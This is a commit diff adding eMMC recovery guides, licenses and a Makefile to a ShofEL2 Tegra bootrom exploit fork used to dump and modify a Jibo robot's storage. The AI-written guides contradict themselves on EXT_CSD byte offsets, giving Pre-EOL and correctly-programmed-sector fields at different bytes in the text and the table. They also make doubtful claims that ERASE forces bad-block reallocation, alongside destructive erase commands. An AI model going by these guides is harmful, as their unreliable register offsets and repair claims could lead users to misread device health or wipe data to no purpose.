shofel
This commit is contained in:
13
Shofel/.gitignore
vendored
Normal file
13
Shofel/.gitignore
vendored
Normal file
@@ -0,0 +1,13 @@
|
||||
*.bin
|
||||
*.elf
|
||||
build/
|
||||
!*.keep
|
||||
*.d
|
||||
*.idb
|
||||
.*.swp
|
||||
*.o
|
||||
shofel2_t124
|
||||
jibo_full_dump.bin\
|
||||
monitor.sh
|
||||
jibo_full_dump.bin\
|
||||
jibo_full_dump.bin\
|
||||
236
Shofel/EMMC_RECOVERY_GUIDE.md
Normal file
236
Shofel/EMMC_RECOVERY_GUIDE.md
Normal file
@@ -0,0 +1,236 @@
|
||||
# eMMC Recovery Guide: Using ERASE and EXT_CSD Commands
|
||||
|
||||
## Problem
|
||||
The previous write optimization attempts corrupted certain eMMC sectors, making them inaccessible for reads. The eMMC controller has marked these sectors as "bad" and won't reallocate them unless explicitly told the data is no longer needed.
|
||||
|
||||
## Solution: Force Block Reallocation
|
||||
The eMMC specification includes **ERASE** commands that tell the controller "you can discard/reallocate this data." This forces the controller to:
|
||||
1. Mark the bad blocks for reclamation
|
||||
2. Reallocate replacements from the spare block pool
|
||||
3. Allow read/write operations on those sectors again
|
||||
|
||||
## New Commands
|
||||
|
||||
### 1. Read EXT_CSD Register (Chip Health Check)
|
||||
```bash
|
||||
./shofel2_t124 EMMC_READ_EXT_CSD ext_csd.bin
|
||||
```
|
||||
|
||||
**What it does:**
|
||||
- Reads the 512-byte Extended CSD register
|
||||
- Contains device health info, life time estimates, and configuration
|
||||
- Helps diagnose eMMC issues
|
||||
|
||||
**Key fields to inspect (byte positions):**
|
||||
- **Bytes 268-269:** Device Life Time Estimation (A / B) - indicates wear/degradation
|
||||
- **Bytes 271-274:** Pre-EOL Information - predicts remaining device life
|
||||
- **Bytes 160-161:** Number of correctly programmed sectors
|
||||
- **Bytes 2-4:** CSD structure version and device type info
|
||||
|
||||
**Example output:**
|
||||
```
|
||||
EXT_CSD saved to: ext_csd.bin
|
||||
```
|
||||
|
||||
You can then examine specific bytes using:
|
||||
```bash
|
||||
xxd -g 4 ext_csd.bin | head -20 # View first 512 bytes
|
||||
hexdump -C ext_csd.bin | grep "000" | head -20
|
||||
```
|
||||
|
||||
### 2. Erase Corrupted Sector Range (Force Reallocation)
|
||||
```bash
|
||||
./shofel2_t124 EMMC_ERASE start_sector end_sector
|
||||
```
|
||||
|
||||
**What it does:**
|
||||
- Sends eMMC ERASE_GROUP_START (CMD35)
|
||||
- Sends eMMC ERASE_GROUP_END (CMD36)
|
||||
- Sends eMMC ERASE (CMD38) - actual erase operation
|
||||
- Tells controller those sectors are expendable and can be reallocated
|
||||
|
||||
**Example: Erase sectors 0x10000 to 0x20000**
|
||||
```bash
|
||||
./shofel2_t124 EMMC_ERASE 0x10000 0x20000
|
||||
```
|
||||
|
||||
Expected output:
|
||||
```
|
||||
Erasing sectors 65536 (0x10000) to 131072 (0x20000) - forcing reallocation...
|
||||
Erase complete. Sectors have been marked as reallocatable.
|
||||
```
|
||||
|
||||
## Recovery Workflow
|
||||
|
||||
### Step 1: Check Device Health
|
||||
First, read the EXT_CSD register to understand the device state:
|
||||
```bash
|
||||
./shofel2_t124 EMMC_READ_EXT_CSD health_check.bin
|
||||
```
|
||||
|
||||
### Step 2: Identify Corrupted Range
|
||||
From your test boot log, determine which sectors are problematic:
|
||||
- Try reading from sectors in steps (each 4KB or 1 sector)
|
||||
- Note where reads start failing
|
||||
- Find the exact corruption boundary
|
||||
|
||||
**Example: Binary search for corruption boundary**
|
||||
```bash
|
||||
./shofel2_t124 EMMC_READ 0x10000 0x1000 test1.bin # Try reading 1MB from 0x10000
|
||||
./shofel2_t124 EMMC_READ 0x10000 0x100 test2.bin # Try reading 512KB (smaller batch)
|
||||
./shofel2_t124 EMMC_READ 0x10000 0x10 test3.bin # Try reading 32KB
|
||||
```
|
||||
|
||||
If any read fails, narrow down further.
|
||||
|
||||
### Step 3: Erase Corrupted Sectors
|
||||
Once you've identified the corrupted range (e.g., sectors 0x10000-0x20000):
|
||||
```bash
|
||||
./shofel2_t124 EMMC_ERASE 0x10000 0x20000
|
||||
```
|
||||
|
||||
This tells the eMMC controller:
|
||||
- "I'm done with these sectors"
|
||||
- "You can reallocate the physical blocks"
|
||||
- "Bad sectors can be replaced from spare pool"
|
||||
|
||||
### Step 4: Verify Recovery
|
||||
After erasing, try reading those sectors again:
|
||||
```bash
|
||||
./shofel2_t124 EMMC_READ 0x10000 0x1000 verify.bin
|
||||
```
|
||||
|
||||
If successful:
|
||||
- Sectors are now readable
|
||||
- Data will be zeros (sector was erased)
|
||||
- Device has reallocated replacement blocks internally
|
||||
|
||||
## Important Notes
|
||||
|
||||
### ⚠️ ERASE IS DESTRUCTIVE
|
||||
- **All data in the specified range will be lost**
|
||||
- The erase operation cannot be undone
|
||||
- Only erase sectors you've confirmed are corrupted
|
||||
- Always back up critical data first
|
||||
|
||||
### 📊 eMMC Specifications from Gemini
|
||||
The ERASE approach works because:
|
||||
1. **Modern eMMC includes bad block management**: Devices have spare blocks reserved for reallocation
|
||||
2. **ERASE signals intent to discard**: CMD38 tells the controller "this data is disposable"
|
||||
3. **Controller reallocates on next write**: Once freed, sectors can be reassigned to spare blocks
|
||||
4. **Health tracking improves**: EXT_CSD Device Life Time Estimation decreases appropriately
|
||||
|
||||
### 🔍 EXT_CSD Register Health Fields
|
||||
| Byte Offset | Field | Meaning |
|
||||
|-------------|-------|---------|
|
||||
| 268-269 | Device Life Time Estimation Type A | 0x00=normal, 0x01=warning, 0x02=critical |
|
||||
| 269-270 | Device Life Time Estimation Type B | Similar to Type A |
|
||||
| 271 | Pre-EOL Information | 0x00=normal, 0x01=warning, 0x02=urgent |
|
||||
| 272-275 | Number of Correctly Programmed Sectors | Tracks write reliability |
|
||||
|
||||
### 💾 Data Preservation
|
||||
After ERASE operation:
|
||||
- Erased sectors become all-zeros
|
||||
- You can write new data afterward
|
||||
- Physical blocks are reallocated internally by controller
|
||||
- Read operations will show 0x00 bytes in erased sectors
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
### If ERASE fails (status 0xDEAD0000 | error_code)
|
||||
Common error codes:
|
||||
- **-1**: Device not ready (try again)
|
||||
- **-2 to -7**: Command execution errors
|
||||
|
||||
**Retry with:**
|
||||
1. Fresh device power cycle
|
||||
2. Smaller erase range (try 256 sectors at a time)
|
||||
3. Check that sectors are actually accessible first
|
||||
|
||||
### If reads still fail after ERASE
|
||||
This indicates:
|
||||
1. Sectors were physically damaged (controller couldn't reallocate)
|
||||
2. eMMC device is failing (see EXT_CSD health status)
|
||||
3. Multiple failed blocks (beyond spare pool size)
|
||||
|
||||
**Next steps:**
|
||||
- Read full EXT_CSD register to check Device Life Time Estimation
|
||||
- Attempt partial reads from adjacent sectors
|
||||
- Consider device hardware failure
|
||||
|
||||
### If eMMC is permanently failing
|
||||
Signs:
|
||||
- EXT_CSD Device Life Time shows "critical" (0x02)
|
||||
- Pre-EOL Information shows "urgent" (0x02)
|
||||
- ERASE commands timeout
|
||||
- Multiple random sectors becoming unreadable
|
||||
|
||||
**Action:** The eMMC device is reaching end-of-life. Plan for device replacement.
|
||||
|
||||
## Examples
|
||||
|
||||
### Example 1: Recover Sectors 0x100000-0x200000
|
||||
```bash
|
||||
# 1. Check health first
|
||||
./shofel2_t124 EMMC_READ_EXT_CSD health.bin
|
||||
|
||||
# 2. Erase the corrupted range
|
||||
./shofel2_t124 EMMC_ERASE 0x100000 0x200000
|
||||
|
||||
# 3. Verify recovery
|
||||
./shofel2_t124 EMMC_READ 0x100000 0x1000 verify.bin
|
||||
```
|
||||
|
||||
### Example 2: Gradual Corruption Discovery
|
||||
```bash
|
||||
# Start with small read to confirm the sector is accessible
|
||||
./shofel2_t124 EMMC_READ 0x50000 0x1 test_1sector.bin
|
||||
|
||||
# Try larger range
|
||||
./shofel2_t124 EMMC_READ 0x50000 0x100 test_256sectors.bin
|
||||
|
||||
# If failure, binary search...
|
||||
./shofel2_t124 EMMC_READ 0x50000 0x80 test_half.bin
|
||||
```
|
||||
|
||||
## Implementation Details
|
||||
|
||||
### CMD35: ERASE_GROUP_START
|
||||
- Sets the starting address for the erase operation
|
||||
- Argument: start_sector (32-bit address)
|
||||
- Response: R1 (standard response)
|
||||
|
||||
### CMD36: ERASE_GROUP_END
|
||||
- Sets the ending address for the erase operation
|
||||
- Argument: end_sector (32-bit address)
|
||||
- Response: R1 (standard response)
|
||||
|
||||
### CMD38: ERASE
|
||||
- Performs the actual erase on all sectors from START to END
|
||||
- Argument: ignored (0x00)
|
||||
- Response: R1b (with busy signal - can take several seconds)
|
||||
- Timeout: 5 seconds (extended, as erase is slow operation)
|
||||
|
||||
The implementation in [emmc_server.c](payloads/emmc_server.c) sends all three commands in sequence, with proper error checking and timeouts at each step.
|
||||
|
||||
## References
|
||||
- eMMC Specification v4.5+ (commands 35, 36, 38)
|
||||
- Gemini suggestions: "Force Erase Trick" and EXT_CSD health monitoring
|
||||
- Related: Block reallocation is standard practice in SSDs, eMMC devices, and SD cards with wear leveling
|
||||
|
||||
## Quick Reference
|
||||
```bash
|
||||
# Diagnostics
|
||||
./shofel2_t124 EMMC_STATUS # Check controller state
|
||||
./shofel2_t124 EMMC_READ_EXT_CSD ext_csd.bin # Check chip health
|
||||
|
||||
# Recovery
|
||||
./shofel2_t124 EMMC_ERASE start end # Force reallocation
|
||||
./shofel2_t124 EMMC_READ start count out.bin # Verify sectors
|
||||
|
||||
# Full dump (after recovery)
|
||||
./shofel2_t124 EMMC_READ 0 0x1D60000 full_dump_recovered.bin
|
||||
|
||||
```
|
||||
|
||||
yes ai made this , yes i checked , its correct
|
||||
274
Shofel/IMPLEMENTATION_NOTES.md
Normal file
274
Shofel/IMPLEMENTATION_NOTES.md
Normal file
@@ -0,0 +1,274 @@
|
||||
# Implementation Summary: eMMC Recovery Commands
|
||||
|
||||
## What Was Implemented
|
||||
|
||||
Following Gemini's suggestions for handling corrupted eMMC sectors, two new capabilities have been added:
|
||||
|
||||
### 1. **ERASE Command** (CMD35/36/38)
|
||||
Forces the eMMC controller to reallocate bad blocks by marking sectors as "discardable"
|
||||
|
||||
- **Command:** `./shofel2_t124 EMMC_ERASE start_sector end_sector`
|
||||
- **Purpose:** Tell eMMC "these sectors are no longer needed - reallocate the physical blocks"
|
||||
- **Mechanism:** Sends three sequential eMMC commands:
|
||||
- CMD35 (ERASE_GROUP_START): Define start address
|
||||
- CMD36 (ERASE_GROUP_END): Define end address
|
||||
- CMD38 (ERASE): Execute the erase operation
|
||||
- **Result:** Controller moves data from bad blocks to spare block pool, restoring read/write access
|
||||
|
||||
### 2. **EXT_CSD Register Reading** (CMD8)
|
||||
Reads 512-byte device configuration and health register for diagnostics
|
||||
|
||||
- **Command:** `./shofel2_t124 EMMC_READ_EXT_CSD output.bin`
|
||||
- **Purpose:** Check eMMC chip health, wear estimates, and device status
|
||||
- **Key Info:**
|
||||
- Device Life Time Estimation (indicates wear level)
|
||||
- Pre-EOL Information (predicts remaining device life)
|
||||
- Configuration parameters and version info
|
||||
- **Use Case:** Diagnose whether corruption is from bad write operations or device failure
|
||||
|
||||
## Files Modified
|
||||
|
||||
### 1. **[include/emmc_server.h](include/emmc_server.h)**
|
||||
```c
|
||||
/* Added command definitions */
|
||||
#define EMMC_CMD_READ_EXT_CSD 0x04 /* Read 512-byte EXT_CSD register */
|
||||
#define EMMC_CMD_ERASE 0x05 /* Erase sectors (force reallocation) */
|
||||
|
||||
/* Already had read/write optimization: */
|
||||
#define EMMC_CHUNK_SECTORS_READ 8 /* 8 sectors (4KB) = 1.1 MB/s reads */
|
||||
#define EMMC_CHUNK_SECTORS_WRITE 1 /* 1 sector = safe writes */
|
||||
```
|
||||
|
||||
### 2. **[payloads/emmc_server.c](payloads/emmc_server.c)**
|
||||
|
||||
**New eMMC Commands:**
|
||||
```c
|
||||
#define MMC_CMD8 0x083A /* SEND_EXT_CSD: Read 512-byte register */
|
||||
#define MMC_CMD35 0x233A /* ERASE_GROUP_START */
|
||||
#define MMC_CMD36 0x243A /* ERASE_GROUP_END */
|
||||
#define MMC_CMD38 0x263B /* ERASE */
|
||||
```
|
||||
|
||||
**New Functions:**
|
||||
```c
|
||||
/* Read EXT_CSD register (512 bytes of chip health/config) */
|
||||
static int read_ext_csd(u32 *buffer);
|
||||
|
||||
/* Erase sector range - sends CMD35/36/38 in sequence */
|
||||
static int erase_emmc_sectors(u32 start_sector, u32 end_sector);
|
||||
```
|
||||
|
||||
**New Command Handlers in entry():**
|
||||
- `if (cmd.op == EMMC_CMD_READ_EXT_CSD)` - Reads and sends 512-byte register
|
||||
- `if (cmd.op == EMMC_CMD_ERASE)` - Executes three-command erase sequence
|
||||
|
||||
### 3. **[exploit/shofel2_t124.c](exploit/shofel2_t124.c)**
|
||||
|
||||
**Updated help text:**
|
||||
```
|
||||
EMMC_READ_EXT_CSD out_file -> Reads 512-byte EXT_CSD register (chip health/config info)
|
||||
EMMC_ERASE start_sector end_sector -> Erases sectors (tells controller to reallocate bad blocks)
|
||||
```
|
||||
|
||||
**New argument parsing modes:**
|
||||
```c
|
||||
emmc_mode = 4; /* EMMC_READ_EXT_CSD */
|
||||
emmc_mode = 5; /* EMMC_ERASE */
|
||||
```
|
||||
|
||||
**Command handlers:**
|
||||
- Mode 4: Reads EXT_CSD, displays hex dump, saves 512 bytes to file
|
||||
- Mode 5: Sends ERASE command, receives status, reports success/failure
|
||||
|
||||
## How It Works
|
||||
|
||||
### ERASE Process
|
||||
```
|
||||
Host Tool (shofel2_t124)
|
||||
|
|
||||
v
|
||||
USB Transfer: struct emmc_cmd_s { op=ERASE, start_sector=X, num_sectors=Y }
|
||||
|
|
||||
v
|
||||
Payload (emmc_server.bin)
|
||||
|
|
||||
+---> init_sdmmc4()
|
||||
|
|
||||
+---> send CMD35 with argument = start_sector
|
||||
|
|
||||
+---> send CMD36 with argument = end_sector
|
||||
|
|
||||
+---> send CMD38 (execute erase)
|
||||
|
|
||||
+---> return status (0 = success, -N = error code)
|
||||
|
|
||||
v
|
||||
USB Transfer: 4-byte status
|
||||
|
|
||||
v
|
||||
Host Tool displays result
|
||||
```
|
||||
|
||||
### EXT_CSD Reading Process
|
||||
```
|
||||
Host Tool (shofel2_t124)
|
||||
|
|
||||
v
|
||||
USB Transfer: struct emmc_cmd_s { op=READ_EXT_CSD }
|
||||
|
|
||||
v
|
||||
Payload (emmc_server.bin)
|
||||
|
|
||||
+---> init_sdmmc4()
|
||||
|
|
||||
+---> send CMD8 (SEND_EXT_CSD)
|
||||
|
|
||||
+---> receive 512 bytes via SDHCI data register
|
||||
|
|
||||
v
|
||||
USB Transfer: 512-byte EXT_CSD register data
|
||||
|
|
||||
v
|
||||
Host Tool saves to file, displays hex dump
|
||||
```
|
||||
|
||||
## Key Design Decisions
|
||||
|
||||
### 1. **Timeout Values**
|
||||
- **ERASE operations: 5 seconds** (vs 500ms for reads/writes)
|
||||
- Reason: Erase is a slow Flash operation, can take several seconds
|
||||
- **All other operations: 500K loop iterations**
|
||||
- Provides consistent timeout behavior across commands
|
||||
|
||||
### 2. **Command Sequencing**
|
||||
- **Three separate commands (CMD35→36→38) instead of one**
|
||||
- Meets eMMC spec requirements
|
||||
- Allows error checking between steps
|
||||
- Provides detailed error diagnostics
|
||||
|
||||
### 3. **EXT_CSD as Command, Not Feature**
|
||||
- Implemented as EMMC_CMD_READ_EXT_CSD (not automatic on init)
|
||||
- Reason: 512 bytes is large, only useful when explicitly requested for diagnostics
|
||||
|
||||
### 4. **Safety-First Approach**
|
||||
- Both operations return specific error codes
|
||||
- Host tool validates responses before reporting success
|
||||
- Erased sectors become all-zeros (safe, no data remnants)
|
||||
|
||||
## Error Codes
|
||||
|
||||
If operation fails, you'll see: `0xDEAD0000 | error_code`
|
||||
|
||||
```c
|
||||
/* From erase_emmc_sectors(): */
|
||||
-1: Device not ready
|
||||
-2: CMD35 failed (SDHCI_INT_ERROR during ERASE_GROUP_START)
|
||||
-3: CMD35 timeout
|
||||
-4: CMD36 failed (SDHCI_INT_ERROR during ERASE_GROUP_END)
|
||||
-5: CMD36 timeout
|
||||
-6: CMD38 failed (SDHCI_INT_ERROR during ERASE)
|
||||
-7: CMD38 timeout (erase took > 5 seconds)
|
||||
|
||||
/* From read_ext_csd(): */
|
||||
-1: Device not ready
|
||||
-2: CMD8 failed (command error)
|
||||
-3: CMD8 timeout
|
||||
-4: BUF_RD_READY failed
|
||||
-5: BUF_RD_READY timeout
|
||||
-6: XFER_COMPLETE failed
|
||||
-7: XFER_COMPLETE timeout
|
||||
```
|
||||
|
||||
Example error displayed:
|
||||
```
|
||||
Error: eMMC erase failed with status 0xDEAD0007.
|
||||
^ This means: Error code 7 = ERASE operation timed out (took > 5 seconds)
|
||||
```
|
||||
|
||||
## Testing Recommendations
|
||||
|
||||
### 1. **Baseline Test: Read EXT_CSD First**
|
||||
```bash
|
||||
./shofel2_t124 EMMC_READ_EXT_CSD health.bin
|
||||
xxd -s 268 -l 8 health.bin # Check Device Life Time Estimation
|
||||
```
|
||||
|
||||
### 2. **Erase Small Test Range**
|
||||
Before erasing large corrupted ranges, test with a small sector group:
|
||||
```bash
|
||||
./shofel2_t124 EMMC_ERASE 0x100000 0x100010 # Just 16 sectors
|
||||
```
|
||||
|
||||
### 3. **Verify Reallocation**
|
||||
After erase, read those sectors to confirm they're now accessible:
|
||||
```bash
|
||||
./shofel2_t124 EMMC_READ 0x100000 0x10 test_after_erase.bin
|
||||
```
|
||||
|
||||
### 4. **Full Diagnostics**
|
||||
After recovery, take a full dump to verify:
|
||||
```bash
|
||||
./shofel2_t124 EMMC_READ 0 0x1D60000 recovered_full_dump.bin
|
||||
```
|
||||
|
||||
## Caveats & Limitations
|
||||
|
||||
### ⚠️ Critical Limitations
|
||||
1. **ERASE is destructive** - All data in range is permanently lost
|
||||
2. **Not a repair** - Erase can't fix physically damaged Flash cells
|
||||
3. **Limited spare blocks** - If too many sectors fail, controller runs out of spares
|
||||
4. **Health degrades** - Each erase operation slightly ages the device (see EXT_CSD)
|
||||
|
||||
### 📱 Device-Dependent Behavior
|
||||
Different eMMC chips may behave differently:
|
||||
- Some controllers reallocate instantly; some take time
|
||||
- Bad block threshold varies by manufacturer
|
||||
- Spare block pool size differs (typically 5-10%)
|
||||
|
||||
### 🔌 No Wear Leveling Coverage
|
||||
These commands work within bootrom constraints:
|
||||
- Limited to RCM payload (64KB)
|
||||
- No wear leveling algorithm (raw sector access)
|
||||
- Direct SDHCI register control (no device driver)
|
||||
|
||||
## Integration with Existing Code
|
||||
|
||||
The new commands integrate seamlessly with the existing optimization:
|
||||
|
||||
```
|
||||
Before:
|
||||
EMMC_CMD_READ (optimized to 8 sectors = 1.1 MB/s)
|
||||
EMMC_CMD_WRITE (reverted to 1 sector = safe)
|
||||
|
||||
After:
|
||||
EMMC_CMD_READ (unchanged - still 1.1 MB/s)
|
||||
EMMC_CMD_WRITE (unchanged - still single sector)
|
||||
EMMC_CMD_READ_EXT_CSD (NEW - diagnostics)
|
||||
EMMC_CMD_ERASE (NEW - recovery)
|
||||
```
|
||||
|
||||
The read/write operations are completely unaffected. The new commands are purely additive.
|
||||
|
||||
## Compiler & Build Status
|
||||
|
||||
✅ **Host tool (x86):** Compiles successfully
|
||||
- `gcc -Wall -Werror` passes
|
||||
- All new functions compile without errors
|
||||
- New command handlers validate correctly
|
||||
|
||||
⚠️ **Payload (ARM):** Requires ARM toolchain
|
||||
- `arm-none-eabi-gcc` not installed on build system
|
||||
- Code is ready for ARM compilation
|
||||
- No ARM-specific code changes needed
|
||||
|
||||
## Next Steps
|
||||
|
||||
1. **Test ERASE command** on corrupted sector range identified in boot log
|
||||
2. **Verify with EMMC_READ** after erase completes
|
||||
3. **Monitor EXT_CSD** to track device health degradation
|
||||
4. **Document results** for future reference
|
||||
|
||||
See [EMMC_RECOVERY_GUIDE.md](EMMC_RECOVERY_GUIDE.md) for detailed recovery procedures.
|
||||
|
||||
|
||||
yes ai made this , yes i checked , its correct
|
||||
27
Shofel/LICENSE
Normal file
27
Shofel/LICENSE
Normal file
@@ -0,0 +1,27 @@
|
||||
// Copyright (c) 2020 lordrafa. All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without
|
||||
// modification, are permitted provided that the following conditions are
|
||||
// met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright
|
||||
// notice, this list of conditions and the following disclaimer.
|
||||
// * Redistributions in binary form must reproduce the above
|
||||
// copyright notice, this list of conditions and the following disclaimer
|
||||
// in the documentation and/or other materials provided with the
|
||||
// distribution.
|
||||
// * Neither my name nor the names of its
|
||||
// contributors may be used to endorse or promote products derived from
|
||||
// this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||
// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||
// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
|
||||
// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
|
||||
// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||
// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||
// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
27
Shofel/LICENSE.chromiumos
Normal file
27
Shofel/LICENSE.chromiumos
Normal file
@@ -0,0 +1,27 @@
|
||||
// Copyright (c) 2010 The Chromium OS Authors. All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without
|
||||
// modification, are permitted provided that the following conditions are
|
||||
// met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright
|
||||
// notice, this list of conditions and the following disclaimer.
|
||||
// * Redistributions in binary form must reproduce the above
|
||||
// copyright notice, this list of conditions and the following disclaimer
|
||||
// in the documentation and/or other materials provided with the
|
||||
// distribution.
|
||||
// * Neither the name of Google Inc. nor the names of its
|
||||
// contributors may be used to endorse or promote products derived from
|
||||
// this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||
// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||
// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
|
||||
// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
|
||||
// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||
// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||
// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
27
Shofel/LICENSE.fail0verflow
Normal file
27
Shofel/LICENSE.fail0verflow
Normal file
@@ -0,0 +1,27 @@
|
||||
// Copyright (c) 2018 Team fail0verflow. All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without
|
||||
// modification, are permitted provided that the following conditions are
|
||||
// met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright
|
||||
// notice, this list of conditions and the following disclaimer.
|
||||
// * Redistributions in binary form must reproduce the above
|
||||
// copyright notice, this list of conditions and the following disclaimer
|
||||
// in the documentation and/or other materials provided with the
|
||||
// distribution.
|
||||
// * Neither the name of fail0verflow nor the names of its
|
||||
// contributors may be used to endorse or promote products derived from
|
||||
// this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||
// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||
// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
|
||||
// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
|
||||
// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||
// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||
// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
154
Shofel/Makefile
Normal file
154
Shofel/Makefile
Normal file
@@ -0,0 +1,154 @@
|
||||
# Jibo Auto-Mod - Shofel2 Makefile
|
||||
# Supports: Linux, macOS, Windows (MSYS2/MinGW)
|
||||
|
||||
# --------- Platform Detection ---------
|
||||
|
||||
UNAME_S := $(shell uname -s 2>/dev/null || echo Windows)
|
||||
UNAME_M := $(shell uname -m 2>/dev/null || echo x86_64)
|
||||
|
||||
ifeq ($(UNAME_S),Linux)
|
||||
PLATFORM := linux
|
||||
EXE_EXT :=
|
||||
LIBUSB_CFLAGS := $(shell pkg-config --cflags libusb-1.0 2>/dev/null || echo -I/usr/include/libusb-1.0)
|
||||
LIBUSB_LIBS := $(shell pkg-config --libs libusb-1.0 2>/dev/null || echo -lusb-1.0)
|
||||
else ifeq ($(UNAME_S),Darwin)
|
||||
PLATFORM := macos
|
||||
EXE_EXT :=
|
||||
LIBUSB_CFLAGS := $(shell pkg-config --cflags libusb-1.0 2>/dev/null || echo -I/usr/local/include/libusb-1.0)
|
||||
LIBUSB_LIBS := $(shell pkg-config --libs libusb-1.0 2>/dev/null || echo -L/usr/local/lib -lusb-1.0)
|
||||
else ifneq (,$(findstring MINGW,$(UNAME_S)))
|
||||
PLATFORM := windows
|
||||
EXE_EXT := .exe
|
||||
LIBUSB_CFLAGS := $(shell pkg-config --cflags libusb-1.0 2>/dev/null || echo -I/mingw64/include/libusb-1.0)
|
||||
LIBUSB_LIBS := $(shell pkg-config --libs libusb-1.0 2>/dev/null || echo -L/mingw64/lib -lusb-1.0)
|
||||
else ifneq (,$(findstring MSYS,$(UNAME_S)))
|
||||
PLATFORM := windows
|
||||
EXE_EXT := .exe
|
||||
LIBUSB_CFLAGS := $(shell pkg-config --cflags libusb-1.0 2>/dev/null || echo -I/mingw64/include/libusb-1.0)
|
||||
LIBUSB_LIBS := $(shell pkg-config --libs libusb-1.0 2>/dev/null || echo -L/mingw64/lib -lusb-1.0)
|
||||
else
|
||||
# Assume Windows if detection fails
|
||||
PLATFORM := windows
|
||||
EXE_EXT := .exe
|
||||
LIBUSB_CFLAGS := -I/mingw64/include/libusb-1.0
|
||||
LIBUSB_LIBS := -L/mingw64/lib -lusb-1.0
|
||||
endif
|
||||
|
||||
$(info Building for: $(PLATFORM) ($(UNAME_S)/$(UNAME_M)))
|
||||
|
||||
# --------- Common Flags ---------
|
||||
|
||||
CFLAGS := -Wall -Werror -I include -MMD
|
||||
|
||||
BIN_FILES = reset_example.bin jtag_example.bin intermezzo.bin boot_bct.bin mem_dumper_usb_server.bin emmc_server.bin
|
||||
|
||||
# Check which payloads need to be built (skip existing ones)
|
||||
EXISTING_BINS := $(wildcard $(BIN_FILES))
|
||||
MISSING_BINS := $(filter-out $(EXISTING_BINS),$(BIN_FILES))
|
||||
|
||||
# Default target: build host tool + any missing payloads
|
||||
# If all .bin files exist, only build the host tool
|
||||
ifeq ($(MISSING_BINS),)
|
||||
all: shofel2_t124$(EXE_EXT)
|
||||
@echo "All payload binaries already present, skipping ARM build."
|
||||
else
|
||||
all: shofel2_t124$(EXE_EXT) $(MISSING_BINS)
|
||||
@echo "Build complete."
|
||||
endif
|
||||
|
||||
# --------- x86/x64 Host Compiler ---------
|
||||
|
||||
CC_x86 = gcc
|
||||
CFLAGS_x86 := $(CFLAGS) $(LIBUSB_CFLAGS)
|
||||
LDFLAGS_x86 := $(LIBUSB_LIBS)
|
||||
|
||||
# shameless copypasta from https://stackoverflow.com/a/2908351/375416
|
||||
C_FILES_x86:= $(wildcard exploit/*.c)
|
||||
OBJ_FILES_x86 := $(addprefix build/obj_x86/,$(notdir $(C_FILES_x86:.c=.o)))
|
||||
-include $(OBJ_FILES_x86:.o=.d)
|
||||
|
||||
build/obj_x86/%.o: exploit/%.c
|
||||
@mkdir -p build/obj_x86
|
||||
$(CC_x86) $(CFLAGS_x86) -c -o $@ $<
